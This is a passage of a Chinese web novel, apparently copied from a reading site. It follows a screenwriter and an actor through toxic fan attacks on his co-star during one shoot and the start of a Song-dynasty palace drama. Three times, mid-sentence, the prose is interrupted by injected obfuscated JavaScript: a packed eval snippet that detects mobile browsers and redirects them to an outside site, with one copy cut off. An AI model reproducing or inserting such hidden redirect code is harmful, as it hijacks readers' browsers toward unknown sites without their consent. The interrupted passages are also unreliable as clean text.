祁宁手一伸,抢过她手机,自拍了一张,还给她:“快跟那张比一下。” 杨树看看照片,演上男主角了,神态跟上次见面完全不同了,眼角眉梢笑容藏不住,模样还挺好看,虽然真人瘦成了一根刺。 祁宁满眼期待:“快比啊,快,我体脂率又降了。” 杨树淡淡道:“哦,那张啊,早删了。” 对坐的人笑脸瞬间凝固了,杨树绷不住,笑出来,快速翻找到,亮给他:“怪不得想演男一号呢,看你现在这个小人得志的样儿。” 这人用错词了,是春风得意,祁宁没敢纠正,她说是什么就是什么吧,他对着照片笑了好几下,低头拌饭,开吃他七年来第一顿晚饭。 《西北年轻人》女主角唐问羽在另一部戏上,开机前夕才赶到天水。制片主任安排了开机宴,主桌是钱一诺、潘亚勤和男女主角及当地给予拍摄方便的人员,杨树和编剧们坐在旁边一桌。 杨树挺好奇祁宁在酒桌的表现,但他的表现就三个字:不表现。端着一杯酒,听这人说话,听那人说话,问到他了就答几句,其余时候就撑个笑脸。 跟祁宁比起来,唐问羽在酒桌上如鱼得水,她长相是温婉款,但性子开朗,跟谁都能聊,喝到兴起,她屈起一条腿踩在椅子上,跟人行酒令,像个大当家的,笑如山花灿烂,几乎是俗辣的。 论容貌,《北宋宫事》的女主角黎俏更美,但唐问羽很生动。编剧们也都说选角贴切,一个为了创立玫瑰护肤品牌走南闯北的配方师,就该是这种有江湖派头的形象。 祁宁比唐问羽小了5岁,但他高大寡言,架势足,易无悄声说两人目测不像姐弟恋。杨树总觉得这个概念很奇怪,男大女小怎么不叫兄妹恋,为什么默认男人就得比女人大? 开机仪式上,祁宁和唐问羽一齐敬香,杨树才发现唐问羽比她以为的高很多。昨天开机宴,杨树到得晚,唐问羽已落座,这会儿看她站在1米87的祁宁身旁,从容貌到身高都般配,易无说:“她不止1米72吧?” 阿福说:“1米76。女艺人都这样,高了往少里报,小矮个都往1米6凑,生怕不好跟人搭戏。” 杨树想到顾叮叮,1米47对外报1米59,没突破1米6,刻意地装实诚,让人信以为真,但跟白杨和祁宁对戏时,立刻露了馅。 开机仪式的照片精修后传上网络,各路粉丝们迅速吵开了锅。杨树刷了刷《西北年轻人》官方微博,底下评论以骂祁宁为主。 虽然明堂影业没有官宣,但从流出来的资料来看,基本定下了之前被钱一诺弃用的那位演员,他自己在访谈里也表示过想演主流剧。开机前不到一周,换成“查无此人”的祁宁,演员的粉丝们愤愤难平:“资源咖!有后台!” 宁粉们反击:“宁宁有后台的话,早就混成顶流了好吧?” 对方粉丝骂回来:“没后台还能抢我家天天的角色,这得多豁得出去,抢别人资源,可耻!” 在这些骂声里,夹杂着几个让杨树眼熟的ID,她点开扫了几眼,原来是白杨的粉丝白米。《天作之合》时,她帮祁宁说了两句话,这帮白米把她骂得就跟她屠了他们全族一样。 《天作之合》让祁宁和男一号白杨双方粉丝结上梁子,虽然剧播完,骂战就消停了,但少数白米记了仇,跳出来奚落祁宁混了忒久还不红,急得演土剧表衷心,杨树不胜其烦,退出网页。 今天安排了六场戏,祁宁没空看网民的言论,他的助理是个年轻姑娘,捧着手机气得鼓起了脸。 助理的网名普通,趴在祁宁后援会群里从不说话,偶尔才打开看看,没人知道她是谁。粉丝们在公开场合给祁宁面子,猛夸宁宁哥哥人美心善,低调塑造造福一方经济的工程师,但在群里都骂开了。 杨树接过助理的手机往前翻,粉丝们从源头骂起,连他们都知道,柳艳是长夜影视公司大老板的太太,但她发的微博,祁宁不怎么转发,公司别的小生可比他会做人多了。不论柳艳发什么内容,他们都大唱赞歌:“仙女!太美了!” 祁宁嘴不甜也就罢了,跑去接男四号祈砚初,还闹独立,把柳艳得罪得死死的。去年《天作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091467|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之合》播出后,长夜影视公司再没单独发过任何关于祁宁的新闻,摆明了是在惩罚他不服管。 不服管也没关系,演偶像剧、古装剧去啊,没准哪个就爆了,爆了才能随心所欲。拼死抢人资源,把人得罪了,好歹抢个别的,抢大土剧,是巴不得自己更糊点吧? 杨树乐了,以这帮粉丝的年龄和心智,哪来的自信去教导比他们阅历丰富的成年人该走哪条路?那些剧谁不想演,但哪有那么好争到,他们看不上的大土剧,他们的哥哥也只是侥幸得到。 粉头们都是大家长式的作风,助理以客观口吻劝阻几句,但没人听她的:“我们是为了宁宁好,我们是他的事业粉!” 事业粉们一腔愤懑无法释放,迁怒于唐问羽,祁宁演土剧,还被压番,唐问羽最红的时候都没冲到一线,如今过气好几年,凭什么高出祁宁一头? 助理劝不住,宁粉们齐刷刷冲进唐问羽的微博,骂她老女人装嫩,一把年纪演创业新人。杨树看了最上面的一些,骂出来的话比市井之徒还脏。 助理没辙:“不是第一次这样了。” 杨树胸闷,去看祁宁拍戏。潘亚勤请了专业人员全程顾问,为男女主角每个技术环节提供帮助,在开机宴上很少交谈的两个人,演起对手戏居然很默契,杨树看得兴趣盎然。 三年前拍摄《天作之合》,原著作者尚需向制片人解释何为CP,如今大多数剧宣传时都会炒CP,剧照师咔咔拍照片,夸祁宁和唐问羽CP感很强。 潘亚勤导过几部剧,男帅女美,但捏到一起怎么都起不了化学反应,CP感没有就是没有,硬求不来,他也说祁宁和唐问羽的CP感难得,但一场戏拍完,祁宁就跑来找杨树,跟唐问羽零交流。 杨树调笑道:“还真是个演技派。知不知道你和她CP感特别强,是我看过你的戏里,CP感最强的,特别像一对,简直就是一对。” 祁宁气呼呼地喝水。杨树说:“CP感这么强,干嘛不多找她聊聊,今天有场重头戏诶。” “我以前是男二男三男四,编剧几集都不让我跟女一见面,CP感能强吗?”祁宁觉得她说了句傻话,把水杯一顿,到底还是去找唐问羽聊戏了。 开机第一天,戏排得少,放工很早。唐问羽想到处逛逛,拍点风景照,找助理要手机,助理脸色难看,看了祁宁几眼,祁宁意识到不对,问自己的助理:“怎么了?” 助理默默递过手机,页面是唐问羽微博,已被宁粉攻陷了。女艺人的粉丝多半不如男艺人的好战,何况唐问羽不是当红明星,她的粉丝们回嘴,被宁粉们的言论吞没。 祁宁已有几部戏播出,积攒了很多粉丝,不再是《天作之合》开播时,被白米和小叮当骂得找不着北的新人了。宁粉们连被那个弃用的演员粉丝都骂退了,糖粉更不是他们的对手。 祁宁道歉,唐问羽看起来毫不在意,九年义务教育都教不会他们做人,就等他们走上社会吧,多的是教育他们的人,她让祁宁不用放在心上,她的微博只是用来做宣传,评论一概不看。 祁宁不少铁粉是从《天作之合》跟随至今,他很重视他们,其中一些人的ID他看熟了,但他们对他满篇溢美之词,转身就去咒骂唐问羽,可是唐问羽跟他们无冤无仇,骂她干嘛? 杨树说:“嫉妒呀。因为唐问羽能跟你朝夕相处,眉目传情,他们不能。” 祁宁飞快地说:“没有眉目传情。” 潘亚勤喊杨树一起吃饭,杨树笑着走了,这家伙不拍戏就神隐,连自拍照都不给粉丝发一张,但演起戏来会哭又笑会动会跳,有血有肉得像是另一个人,他还真是挺喜欢演戏这件事,但愿从《西北年轻人》起步,他能多接几个男一号。 现实题材是大势所趋,杨树最近陆陆续续在帮祁宁看剧本,写得好的很少,好在先前挑的那部软科幻言情剧8月就开机了。虽然祁宁又是男二号,但角色跟女一号是没有血缘关系的兄妹,编剧很偏爱这组情感关系,写了若干场展现性张力的对手戏,祁宁演这种直接又细腻的戏信手拈来。 去小饭馆吃饭的路上,潘亚勤和制片主任谈事,杨树想起这位导演大人形容祁宁是一只猫,不免佩服他眼光狠辣。她是到了苦水才发现祁宁的真面目,哪怕他在屏幕上再性感,她眼里的他就是一只毛乎乎的大猫,直头愣脑。 等待上菜时,杨树刷看网页,宁粉们对唐问羽的辱骂更加激烈,只因唐问羽若无其事地发了一张她脚踩冰鞋的照片,配文称:“新玩具,练起。” 这条微博被宁粉们试为挑衅,她竟想把他们都踩在脚下!他们排着队,整整齐齐称呼唐问羽为“30多岁的老女人”,发出大量极尽侮辱的词语。杨树气得呼哧呼哧,阿福也连连摇头,可怜祁宁忍辱负重奋斗到现在,不是为了被嘴这么脏的小孩爱的。 男女主角的“家”环境不错,吃完饭,一行人返回去喝茶聊戏。杨树边走边注册小号,履行事业粉责任,加进祁宁后援会粉丝群,粉丝不会听她一个陌生人的,但听不听是他们的事,说不说是她的事。 62. 第 62 章 小楼前的空地上,唐问羽在玩冰鞋,她下一部戏9月开机,饰演一个花样滑冰的教练,她在练习平衡能力,顺便健身,这附近没有健身房。 杨树从苦水换到天水,脂溢性皮炎又爆发了,脸上又刺痛又痒,被唐问羽看出来了:“过敏肤质?” 杨树苦不堪言:“很注意了,刚才又开始起皮。” “等着!”唐问羽蹬蹬蹬回到小楼,拎出一兜面膜给杨树,拍胸脯保证不过敏,研究护肤品是她一大爱好,她搜刮过市面上所有热门不热门的面膜。 杨树半信半疑地敷了一张,清透好用,唐问羽美滋滋吹上了:“你们找我演护肤品配方师,是找对人了。” 杨树跟导演等人谈完剧本出来,唐问羽仍在练习溜冰。夜风吹着树叶,在地上摇落着影子,她挥着手,在树影间呼啸来去,像在银河里穿梭,一个人就有群星璀璨的热闹感。 杨树连拍几张照片,美丽热情的女人什么都没做错,但在一些狭隘的人眼里,她的存在仿佛就是错误。 入睡前,杨树看到祁宁空降粉丝群,粉丝骂得太狠,他有责任劝她们:“以后不要再骂别人老好吗?我很快也会到30岁。” 粉丝说:“成熟男人有魅力!” 祁宁说:“成熟女人也有魅力。” 粉丝们说:“女人跟男人不一样!她就是老女人,还过气了!你跟顾叮叮才有CP感,她多有少女感啊,你们什么时候再合作?” 杨树哼笑,小年轻最大的财富是年轻,才误会攻击别人的年龄是法宝,但自己这个即将30岁的人,压根不在乎被喊成老女人,她想唐问羽也不会在乎,唐问羽以前就说过,不想再演少女,没意思。 祁宁发出一行字:“人格魅力才让一个人闪闪发光,不管她今年几岁。” 粉丝群一片沉寂,过了一两分钟,才有人发了一连串笑脸,然后发笑脸的人越来越多。祁宁道声晚安,杨树也去睡了,但是早上再看,网上充斥着“唐问羽黑历史揭秘”的爆料,配上她在各种剧里表情不大好的照片,谓之丑照。 祁宁助理很郁闷,她就知道祁宁的劝阻只会雪上加霜。昨晚她就拦着不让祁宁在粉丝群里说话,粉丝的爱来得狂热,恨也极端,脱粉回踩他吃不消,祁宁说一口一个“30岁老女人”太难听,他忍不了。 果不其然,祁宁那句话在粉丝群里激起千层浪,他们明面上给了笑脸,但在一个大粉聚集的群里,他们集体暴怒了。人格魅力闪闪发光是什么意思,他爱上那个30多岁的老女人了?他们为祁宁摇旗呐喊,才成就了他的今天,可他为了一个可能是这两天才认识的女人,就过河拆桥训斥粉丝! 老女人再漂亮,也是老女人了,再说唐问羽在女明星里长相气质都不出挑,祁宁被蒙蔽,他们对唐问羽的老底可是清楚得很,都抖出来,让祁宁看清她的真面目。 祁宁拍完两场戏,粉丝们已经彻底失控了。他又去道歉,唐问羽说:“我关评论就是了,你别理他们。” 祁宁问杨树:“怎么办?为什么要这样侮辱我的工作搭档,我跟同事处不好关系,我处境能好吗?” 杨树手一摊:“都跟你说了,他们不把问羽当你的同事,而是情敌。” 祁宁看向唐问羽,她正和几个老演员聊戏,他内疚道:“她很值得我学习,他们不该揭她那些事。” 昨晚杨树在群里看出,真正的事业粉不少,但再怎么呼吁理智追星,狂热的人声音更大,更激进,她挺烦的:“我部门的小实习生是白米,骂白杨的搭档,跟你的粉丝是一样一样的。” 祁宁很苦闷:“我喜欢谁,她说什么我都听,可他们说喜欢我,我说什么他们都不听。但也不是不喜欢我,前天才又收到一批礼物,让他们别送还送,让他们别骂人还骂,我一点办法都没有。” 杨树也想不出对策,祁宁又过去拍戏,她围观了两场,男女主角演戏确实有CP感,如同双飞燕,你追我逐,盘旋而上,天空上一朵朵心花儿炸开,初相遇就能磁场共振,何等玄妙。 扶贫剧不用炒CP,但剧本写的是一对灵魂伴侣,志同道合,齐心协力,唐问羽和祁宁能演出这种感觉,杨树喜闻乐见,等她在编剧工作群里夸完,祁宁候场休息,眼睛亮亮地看她:“我演得怎么样!” 境况不同,状态也不同了,杨树笑了,小声说:“都夸你俩有CP感呢,说明这剧是你的就是你的,天命所归。” 祁宁盯住她的脸,弯起唇角笑:“不是我的,我也希望有天能是我的。” 他以为总能有这样的好运气,想得美,杨树说:“导演在喊你,快去。” 唐问羽网购的零食到了,她没事就网购零食请剧组众人吃,但自己一口不碰,她说就喜欢看大家开心。杨树拆开一包果冻,吃得正欢,祁宁拉着脸走来,她塞给他一个白桃味的:“热量很低。” 祁宁不吃,他说导演又把他骂成狗,杨树看看他,顺境时神采飞扬,被批评两句就愁眉苦脸,还真是个情绪化的,但演员不情绪化也演不好戏,她比划个啊呜的动作,哄哄他:“你不是猫吗,大猫。” 祁宁真的很好哄,立刻笑了,但下一秒就又发愁:“你只说有CP感,但没说过我演得还行,所以演得是真不好。” 杨树问:“导演怎么说?” 潘亚勤说祁宁还没吃透角色,他有演出生活感的意识,但刻意了些,小动作多了点,唐问羽比他略好,但演得太放了,两人的问题都不小。祁宁反复琢磨剧本和人物小传,仍只得到这种评价,坐在小马扎上,伸长了腿冥思苦想,杨树说:“导演对戏有要求是好事,你播出的戏里,是不是狮子王收益最大?” 祁宁点头,杨树又说:“咱们这戏的男主人设也很好,戏播出来可能不红,你吃不到多少红利,但他是个人格纯净的人,演好了会是你的代表角色。这个社会上,纯净多难啊。” 祁宁低下头去:“难怪我演不好。” 杨树心头咯噔一下,叹道:“让你别多想又多想。他是艺术形象,当然比我们这种凡人高尚,我们虽不能至,心向往之也挺好啊,难道你接戏都只接本色出演的?” 祁宁很焦虑,他高考蒙了个四百多分,不想读本地大专,跑到北京当模特,再也没碰过书本,他说自己不学无术惯了,以前演的都是有钱角色,会装腔作势就能骗人,但电气工程师是内秀型的普通人。人物小传里,编剧说男主角质朴清静,胸有沟壑,言谈举止镇定自若,是工科男人里最美好的那种。 杨树想着秦朗,笑出一脸小得意劲儿。祁宁出神地看她,她总让他不要急,但这是他第一个男一号,演得一团糟,经常五条七条才过,心里实在受不了。 杨树在天水的工作已经忙完,明天就得启程回京,她不得不多跟祁宁聊聊:“没见过你编竹筐子,但能拿下我们大老板,我想质朴清静大概就是你当时的样子吧。” 祁宁眼里一亮,杨树低声说:“你说说你这人,一个鸡罩就能拿到男一号,还认什么干爹?这是我最后一次说这个。记住啊,急不得。工程师很镇定,因为他内心很稳,你在你从事的领域稳扎稳打下去,也不用再慌。潘导又不只批评你一个人,几句批评还听不得了,我批评你批评得还少了?” 祁宁说:“你没批评过我,你一直对我很好。” 杨树嘁道:“潘导对你不好吗,我把他喊来问问?钱总也很欣赏你,我们去苦水的车上,他说你是大文生的苗子。” 国民度最高的中年演员大多都是大文生,50岁也照样是男主角,祁宁眼里又一亮,急不可耐:“他都说什么了,快说快说。” 杨树原原本本说给他听,再告诉他:“男主角很纯净,你自愧不如,有没有想过,演技能帮到你?” 内蒙和甘肃都属于缺水地区,杨树在老家时每年都闹水荒,每当自来水厂定时供水,家里都得留人接水,水量还很小,水质也不好,爸爸总是丢点明矾进去过滤杂质。她说:“变得纯净很简单,演技就是你的明矾。别老经不起打压,下次见面,我想看到一个自信的你。” 美术人员改好景了,下一场戏即将开始,祁大猫一跃而起:“拍完这戏就见面。” 阿福给杨树安排了车,送她去机场。中学时读到黄河之水天上来,杨树趁暑假被父母带去内蒙段和青海段,她原计划绕道去看黄河甘肃段,想到秦朗,她把计划压后,甘肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祁宁回复道:“能演《西北年轻人》,我求仁得仁,它带给我很大力量,我想我能去对抗别的。” 杨树正笑,他下一条信息又来:“再说了,我抵抗不住了,不还有你吗,你不会不管我对吧?” 杨树无语,手机丢回包里,拿出平板电脑看《北宋宫事》最新几集剧本,它定于7月11号开机,回北京就又得忙得披头散发了。 看完两集剧本再看手机,祁宁发来一段话,请杨树过目:“我这样说,没问题吧?” 很快,祁宁空降大群,粉丝们欢天喜地,他说,“这个戏是我几经波折、机缘巧合才得到的机会,我很珍惜,请大家尊重我的合作伙伴们。我希望我演的戏有人看,有人写剧评,有人反馈观后感,但不需要你们再给我做数据、打榜和送礼物那些,时间对我们每个人都很宝贵,多花在学习上,一起进步好吗?” 群里沉默了几秒钟,然后是一连串“响应”,伴随着笑脸。然而助理蹲守的大粉群是另一副光景,不少人抱怨祁宁忘本,若不是他们做数据,祁宁在圈里无人知晓,即使再机缘巧合,也拿不到《西北年轻人》。 少数大粉扬言脱粉,有人劝,有人表示再观望观望,助理顶着小号,谨慎地发言:“就是因为没人知道他,他在剧组态度才这么谦卑,谁也不敢得罪,咱们还是再给他一点机会吧。我总觉得他喜欢的不是唐问羽那一型。” 杨树深夜抵达北京,下飞机时,她看到祁宁微博发出几张打篮球的照片,其中一张是他在盖帽,背心掀起一角,马甲线和腹肌隐现,杨树乐了半天,这一定是工作室的宣传人员授意的。 祁宁工作室人少,就一个助理和一个宣传,他以前在社交页面基本不发自拍,总被粉丝们撒娇说他不宠粉,如今妥协了,不这样,粉都变成黑怎么办。 “每天拍完戏就跟组里的老师们打篮球,下个月今天,你们说我能不能练出八块腹肌?”粉丝群里,众人剥丝抽茧,深刻解读祁宁这条图文并茂的微博。照片上清一色男人,有几人还有肚子,可见只是剧组普通工作人员,但祁宁对他们尊敬有加,统称为老师,看来他在剧组日子是不大好过,帮女一号说几句话也情有可原。 大粉们说:“错!宁宁给我们发福利照,是想告诉我们,他没空勾搭老女人,也不想。” 大粉果然是大粉,言之有理,微博下,粉丝们排着队,用各种可爱字符献上忠心:“乖巧坐等八块腹肌照。” 杨树边看边乐,她把祁宁骗回北京那阵子,他就有八块腹肌,嘴里咬着背心一角,大大方方展示给人看,若是公开发给粉丝看,他们肯定“舔屏”声四起。 63. 第 63 章 北京下了雨,槐花被风吹落一地,空气清新湿润,像是在南方。杨树拖着旅行箱走在小区里,丁盼兮下楼接她,到家后,两人挤在一张床上,聊了半宿。 杨树和秦朗都不在家,丁盼兮一个人住,有点害怕,下班后频频跟男人们约会。跟牙医分手后,丁盼兮再没有交往固定的男朋友,最近一段时间,她和一个基金经理打得火热,两人是在健身房认识的,丁盼兮想做财务,把他当老师用。 从照片来看,基金经理长得斯斯文文,身材管理也得当,丁盼兮言若有憾:“也就凑合,跟你们家宁宁没法比。” 杨树失笑,艺人靠皮囊吃饭,除非是轻喜剧,不然不会找个肥头大耳的男人演主角,镜头本身就很残酷。 第二天,丁盼兮做了杨树爱吃的葱爆虾和雪梨肉饼汤为她接风,喊来了基金经理。基金经理带来几种海鲜,强调是顶级食材,教导丁盼兮如何进行摆盘,并一一为杨树讲解:北海道羽立云丹海胆、长崎蓝鳍金枪鱼、西班牙鹅颈藤壶…… 基金经理对杨树的工作很感兴趣,问东问西,投资术语狂飙,等他走后,丁盼兮问:“怎么样?” 杨树不给她面子,哈哈哈狂笑,基金经理无比装腔作势,跟她看过的悬浮剧里金融精英言行一致,她以后再也不笑话别人悬浮了,生活里竟然真有这样的人。 丁盼兮也笑,她和这位金融男来往,就在于他浑身洋溢着又装逼又屌丝的浮夸劲儿,不知多喜感,她当喜剧来看,乐呵乐呵的,还友情为杨树贡献一个选题:“以他为原型,做部《精英屌丝》吧。” 杨树笑笑便罢,她以前认为这个词难听,但听多了习惯了。丁盼兮没打算和金融男长久发展下去,骑驴找马先用着,她发觉,只要抱着找点乐子的心情相处,各有缺点的男人们各有温柔,不当真,很轻松。 杨树在甘肃期间,姚澈和制片主任配齐了《北宋宫事》的主要演员,放眼望去老戏骨林立。男主角林礼璋是演偶像剧出身,演技不算好,但一部古装历史剧,一定得有演技精到的人压阵。 《北宋宫事》剧中人物众多,小配角采取招募方式,负责选角的副导演在酒店租个房间,接收演员资料、面试演员,称之为建组。 有次杨树和制片主任抱着杂物进电梯,一个年轻姑娘眉飞色舞地跟人报喜,她能跟组了,演贵人跟前的宫女。杨树看看她,比自己高半个头,还踩着高跟鞋,样貌秀美,普通人里班花水平。 跟组演员只能演无足轻重的角色,偶尔能有几句台词,由剧组解决食宿,以便随叫随到,并且能按月拿工资,比群众演员略微优越一点。杨树查看片酬标准,姑娘这样的个人条件,一个月能拿5千到7千左右。 制片主任说这几年出的小花旦普遍不够美,不如早些年的女明星艳光照人,大概因为现在经济发达,就业机会多,美人出路也多,混娱乐圈出不了头,但普通行业里美貌很好用,不必非得恋战。 杨树有点为那个跟组姑娘惋惜,以她的长相气质,去别的行业闯荡,只要脑子好用点,就能过得不错,不用跻身大染缸。当然,人各有志。 作为制片助理,杨树要做的事很多,全身心扑在工作上,每天仅剩的消遣是跟秦朗视频半小时,到家就把自己往床上一扔。 秦朗在北京时很少做饭,回家把厨艺练出来了,每天买菜做饭,陪母亲说话。父母有囤积癖,很多再也用不上的小东西都留着,包括饼干盒子和快递箱子,他一有空就慢慢收拾。 有天整理时,秦朗翻到父亲的工作笔记簿,以年份为标记,他看了两眼就想合上,却意外地发现,父亲经常默写他的手机号码。 明明是记录公事,却随手就在空白处写下儿子的手机号码,秦朗疑心他爸在为老年痴呆做准备。杨树听得很难过,如果秦朗在身边,她会多抱抱他,想到自己的爸爸,更是难过,爸爸对她的手机号也倒背如流,同样很少打给她。 6月中旬,《北宋宫事》出了前30集剧本,还剩15集没写完。除了男女主演还在别的戏上,其余重要角色都有时间了,众人提前进组集训,主要是礼仪学习和剧本围读。 编剧方雯和霜晨月在写余下剧本,杨树和易无承担了前30集剧本的修订工作。导演单明玉忙里忙外,既要盯美术方面的事,更得帮演员捋清整个故事架构、梳理人物性格,对人物和情节胸有成竹了,拍摄起来才事半功倍。 开完为期20天的剧本围读会,编剧们新交出了5集剧本,剧组带上服道化和器材转战去横店。 《北宋宫事》拍摄将会横跨三个季节,长达7个多月,在横店拍摄将近3个月,杨树和其他工作人员都入住横店的连锁酒店,男女主演和几个资深演员按合同办事,开机后入住五星级酒店。 生活制片跟连锁酒店交涉,弄了一间可以使用电磁炉的房间,当成剧组的小食堂,不能炒菜,但能热点饭菜,有时下个火锅。 杨树和统筹熊好好合住一间标准间,两人吃了几天盒饭都喊腻,不那么忙的时候就下厨房单做。熊好好是广东人,熬粥煲汤很拿手。 开机在即,熊好好汇总场景,预排每天拍摄通告,杨树核对每天要用到的道具,填入当日通告表里,她几乎要跟所有人对接,终日脚不沾地。 开机前3天,除了男女主角,其他主要演员都陆续到了横店,先后拍摄定装照,杨树去棚里打下手,服饰出乎她意料的精美,最难得不分主角配角,只按角色身份来做。她这才明白,姚澈和制片主任经常哭预算又超了,半点不夸张,就冲服饰的品质来看,钱是实打实花出去了。 《北宋宫事》发布第一组定装照,博得一大票网民称赞,都说具备高级感和文化气质,还跟几部打着还原历史旗号的剧做了对比,说它们轻浮、粗糙,经不起细看,处处露怯。 那几部剧的剧迷和演员粉丝一哄而上,挖苦《北宋宫事》仇女倾向明显,原著是女性视角的故事,电视剧备案却是所谓正剧,主创人员瞧不上小情小爱,还自以为格局大。《北宋宫事》官方微博保持了沉默,改叙事视角是出于政策导向的约束,没法说。 开机之前,女主角黎俏带着2岁的儿子,搬来横店长住,以便不分心地投入创作。她一年当中大多数时候都在横店度过,几年前就在横店买房子了。 黎俏的角色是刘娥,即传奇故事《狸猫换太子》的当事人之一。刘娥是民女出身,与银匠龚美成婚,后来龚美生意破落,把刘娥卖掉,当时还是襄王的宋真宗赵恒的幕僚看上刘娥,引见给赵恒。 赵恒对刘娥一见倾心,虽然遭到父亲反对,即位后仍将刘娥迎回宫中,封到了皇后,连刘娥的前夫龚美都得到重用,他改姓刘,跟刘娥以兄妹相称,并逐渐掌握京中军权。 刘娥未有所出,赵恒宠幸侍女李氏,李氏产下一子,即后来的宋仁宗。赵恒默许刘娥抱养李氏之子,刘娥能册立为皇后,在赵恒时候顺利垂帘听政,都跟这个儿子有莫大关系,即民间创作里的用狸猫换走的太子。 刘娥以少妇身份宠冠后宫,自是容色无双,拍摄定装照的时候,杨树惊艳无比,她见过黎俏几次,但盛装的她称得上明艳不可方物,直叫她想起少年时读过的诗句:红裙妒杀石榴花。 女明星都美,但黎俏格外美,杨树跟秦朗闲聊,她想不出美成黎俏这样的女人能有什么烦恼,心情再不好,照照镜子就开心了,吾乃仙女,不跟尔等凡人一般见识。 母亲的手术临近,秦朗再忧心,都被女朋友逗笑了,然后好好哄了她,漫画家曾经挖苦她不漂亮,他以为杨树仍很介意。 杨树入行后见多了美人,她早不记得漫画家说过什么了,但换上戏服的黎俏是最合她眼缘的美。结束了视频,秦朗仍不放心,发来一行字:“你像你的名字,是一棵葱茏的树,我在树影下站着,站在清凉里。有时推我妈出去散步,抬头看到月亮,就会想起你。” 肉麻的话,用文字表达好像就没那么肉麻了,也更动听些,杨树回道:“你是不是没见过杨树?杨树很高,不是那种树冠葱茏的。” 这分明是形容,不过女朋友一向不解风情,得亏她不解,一般女人被男明星撩拨可就坏了。但自家女朋友不是一般人,秦朗早就知道的,他说:“见过,亭亭玉立,不蔓不枝,很挺拔向上长。” 杨树说:“是形容荷花的,文盲。” 秦朗说:“是形容你的。” 杨树抱着手机睡去,她就是想多听点好听的。她当然知道自己和明星是不同工种,普通工种的领域里,通用规则是实力。 7月11日,《北宋宫事》举办开机仪式,接着就投入拍摄。杨树是万金油,谁找她都得即时响应,她正忙乱,肩膀被人一拍,她一回头,对上祁宁的笑脸。 《西北年轻人》正在广州拍摄工厂戏份,下个月初才杀青,杨树搬着东西,祁宁搭把手,带他进来的工作人员不断看他,杨树喝问:“谁叫你请假的?” 祁宁说:“你的项目开机,我得捧场。” 杨树恼火道:“演上男一号就以为站稳脚跟了?” 祁宁有点委屈:“就今天,我等下就飞走。” 他披星戴月,来去匆匆,杨树心软了:“我们在横店要待两三个月,你拍完戏再来玩也是一样的。” 祁宁说不一样,神秘兮兮地让她去看件好东西。杨树惦记着工作,但认出祁宁的人越来越多,她急于把他弄走:“快点滚蛋。” 祁宁下飞机租车来横店,拉开车后座,一箱荔枝映入眼帘。杨树火大,荔枝谁没吃过,不能因为她也姓杨,就千里走单骑搞这么一出吧。 祁宁被她骂得很开心,打开纸箱,抓出一颗想剥给她,杨树抢过去,自己动手剥,祁宁说:“他们说这个品种特别好吃。” 杨树问:“桂味?” 桂味是杨树吃过最好的荔枝品种,但一入口她就感觉味道跟桂味不同,甜美汁水在嘴里迸发,是很清新的甜,醇厚有层次,完全没有以前吃荔枝末了的酸或涩意,核也很细小,她吃完一颗,又去抓一颗:“不是桂味吗?” 祁宁说这个品种名为仙进奉,荔枝有时令,它上市期就这十天半月,所以他非得现在过来不可。杨树吃得哧溜哧溜的:“发个快递,第二天就到了。” 祁宁又说不一样,但哪里不一样,不说了,靠着车子看杨树连吃好几颗,心满意足地问:“真有这么好吃?什么味道啊?” 杨树奇道:“你没吃过吗?” 祁宁说水果糖分高,不利于他维持身材,19岁入行当模特,就再没吃过水果。杨树简直要为他一大哭,不能痛快吃美食,人生乐趣就没几样了,祁宁说他对食物感觉一般,不太能享受美食乐趣,杨树拿起一颗馋他:“可是真的很好吃啊。” 祁宁看着她:“你剥我就吃。” 杨树转眼剥好,祁宁凑过脸,想让她喂,杨树理都没理,塞进自己嘴里: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091469|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是送我的吧,那都归我了。” 祁宁停滞了一下,目不转睛地看她,杨树不自在,抓出一串荔枝,放在后座上:“我多吃几个湿疹可能就又发了,只能尝尝鲜,不如拿去跟大家一起吃。” 然后她指指五斤装的纸箱,示意祁宁抱起,祁宁呼口气,悻悻照办,杨树走在他身旁,高高兴兴地说:“今天我们姚总也在,让你露个脸,以后她再开戏,我就好推荐你了。” 祁宁很庆幸刚才忍住没乱来,掠过她嘴角的甜,不可能有听到她这番话更甜。 祁宁抱着荔枝,杨树带他跟单明玉和姚澈等人都打个招呼。祁宁主演的《西北年轻人》是公司的戏,姚澈听过他的名字,仔细看几眼:“比剧照帅。” 祁宁局促地笑,换个乖觉的,会回以十句八句客套话,左一个公司赏识,又一个请多指教,他都听过,轮到自己,一句也说不出来。杨树性子大咧咧,自然不会教他,但仙进奉一吃进嘴里,氛围就活了,赞声一片。 杨树隆重介绍祁宁,她和祁宁是在前公司项目《天作之合》时认识的朋友,今天她负责的项目开机,祁宁来捧捧场。姚澈问荔枝品种名,祁宁说它叫仙进奉,《西北年轻人》工厂的师傅是广州本地人,大清早带人去荔枝园现摘,他订了一箱。 姚澈一双杏眼笑得弯弯的:“祁仙儿。” 祁宁被赐名仙儿,拘谨得都不知该怎么笑了,荔枝既已成功进奉,他告退,杨树去送送他,再聊上几句。 